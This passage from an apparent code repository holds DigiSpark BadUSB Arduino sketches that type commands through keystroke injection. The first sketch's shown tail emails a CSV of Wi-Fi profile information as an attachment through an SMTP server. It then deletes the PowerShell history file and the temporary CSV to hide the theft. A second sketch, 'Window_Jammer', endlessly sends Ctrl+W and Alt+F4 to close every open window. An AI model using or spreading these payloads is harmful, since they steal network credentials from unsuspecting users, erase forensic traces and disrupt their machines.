DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");")); 69 | DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;")); 70 | DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;")); 71 | DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;")); 72 | DigiKeyboard.print(F("$msg.Subject = \"Digi-WP-Mail Form\";")); 73 | DigiKeyboard.print(F("$msg.Body = \"

CSV Wifi Profile Info


See attached...\"; ")); 74 | DigiKeyboard.print(F("$SMTP.Credentials = $cred;")); 75 | DigiKeyboard.print(F("$smtp.Send($msg);")); 76 | DigiKeyboard.delay(500); 77 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 78 | DigiKeyboard.delay(500); 79 | DigiKeyboard.print(separator); 80 | DigiKeyboard.delay(500); 81 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 82 | DigiKeyboard.delay(500); 83 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 84 | DigiKeyboard.delay(500); 85 | DigiKeyboard.print(mode); 86 | DigiKeyboard.delay(500); 87 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 88 | DigiKeyboard.delay(500); 89 | DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;")); 90 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 91 | DigiKeyboard.delay(500); 92 | DigiKeyboard.print(F("rm \"$env:userprofile\\temp.csv\"")); 93 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 94 | DigiKeyboard.delay(100); 95 | DigiKeyboard.print(separator); 96 | DigiKeyboard.delay(500); 97 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 98 | for(;;){ /*empty*/ } 99 | } 100 | -------------------------------------------------------------------------------- /Window_Jammer/Window_Jammer.ino: -------------------------------------------------------------------------------- 1 | // A simple script to have the DigiSpark constantly spam ALT+F4 and CTRL+W key combos forcing all active windows and browsers to close 2 | 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(100); 10 | DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); 11 | DigiKeyboard.delay(100); 12 | DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT); 13 | } 14 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-architect --------------------------------------------------------------------------------